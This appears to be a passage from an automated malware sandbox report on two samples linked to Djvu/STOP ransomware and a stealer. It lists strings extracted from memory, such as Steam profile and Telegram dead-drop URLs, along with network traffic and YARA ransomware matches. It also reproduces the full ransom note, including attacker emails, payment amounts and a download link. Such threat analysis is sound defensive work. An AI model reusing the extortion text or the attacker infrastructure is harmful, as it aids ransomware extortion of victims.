Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: n8XBpFdVFU.exe, 00000004.00000003.1723050330.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mrodevicemgr.officeapps.live.com/mrodevicemgrsvc/api
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: build2.exe, 00000008.00000003.1729052867.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: build2.exe, 00000008.00000002.1876440221.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/E
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199673019888
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: build2.exe, 00000007.00000002.1717427302.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000400000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/badges
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/inventory/
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888P
Source: build2.exe, 00000007.00000002.1717427302.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888ve74rMozilla/5.0
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: build2.exe, 00000008.00000002.1875771644.0000000000558000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.0000000000970000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.000000000097A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: build2.exe, 00000008.00000002.1875771644.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: build2.exe, 00000008.00000002.1875771644.0000000000558000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.0000000000970000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.000000000097A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: build2.exe, 00000008.00000002.1875771644.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: build2.exe, 00000007.00000002.1717427302.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfail
Source: build2.exe, 00000007.00000002.1717427302.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfailAt
Source: n8XBpFdVFU.exe, 00000004.00000002.2147425964.000000000084C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2146628528.000000000084B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2146659313.0000000000842000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.0000000000932000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.000000000094B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27
Source: n8XBpFdVFU.exe, 00000006.00000002.2879490904.000000000097F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb70766
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: build2.exe, 00000008.00000003.1729052867.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: build2.exe, 00000008.00000003.1729052867.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.17.209.196:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49753 version: TLS 1.2

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 1_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

1_2_004822E0

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_README.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.Do not ask assistants from youtube and recovery data sites for help in recovering your data.They can use your free decryption quota and scam you.Our contact is emails in this text document only.You can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27Price of private key and decrypt software is $999.Discount 50% available if you contact us first 72 hours, that's price for you is $499.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@freshingmail.topReserve e-mail address to contact us:datarestorehelpyou@airmail.ccYour personal ID:0863PsawqSSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: n8XBpFdVFU.exe PID: 1228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n8XBpFdVFU.exe PID: 772, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 1.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.n8XBpFdVFU.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n8XBpFdVFU.exe.5e215a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.n8XBpFdVFU.exe.5ea15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.n8XBpFdVFU.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.n8XBpFdVFU.exe.5e215a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.n8XBpFdVFU.exe.5de15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.n8XBpFdVFU.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.n8XBpFdVFU.exe.5d915a0.1.raw.unpack, type: UNPACKEDPE
